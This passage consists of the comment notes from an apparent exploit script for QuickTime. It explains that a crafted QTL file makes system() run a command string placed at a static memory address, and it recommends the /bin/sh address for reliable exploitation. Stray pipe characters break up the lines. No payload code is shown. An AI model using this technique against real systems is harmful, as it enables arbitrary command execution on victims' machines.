# Notes:
|
|||
|
|
# Our command string is loaded on memory at a static address normally,
|
|||
|
|
# but this depends on execution method and the string length. The address set in this exploit will
|
|||
|
|
# be likely successful if we open the resulting QTL file directly, without having an
|
|||
|
|
# instance of Quicktime running. Although, when using another method and string, you'll need
|
|||
|
|
# to find the address.
|
|||
|
|
# For 100% reliable exploitation you can always use the /bin/sh address,
|
|||
|
|
# but that's not as a cool as having your box welcoming the new year.
|
|||
|
|
# Do whatever you prefer. That said, enjoy.

# Command string: Use whatever you like.
|
|||
|
|
# Remember that changing this will also need a change of the target address for system(),
|
|||
|
|
# unless string length is the same.
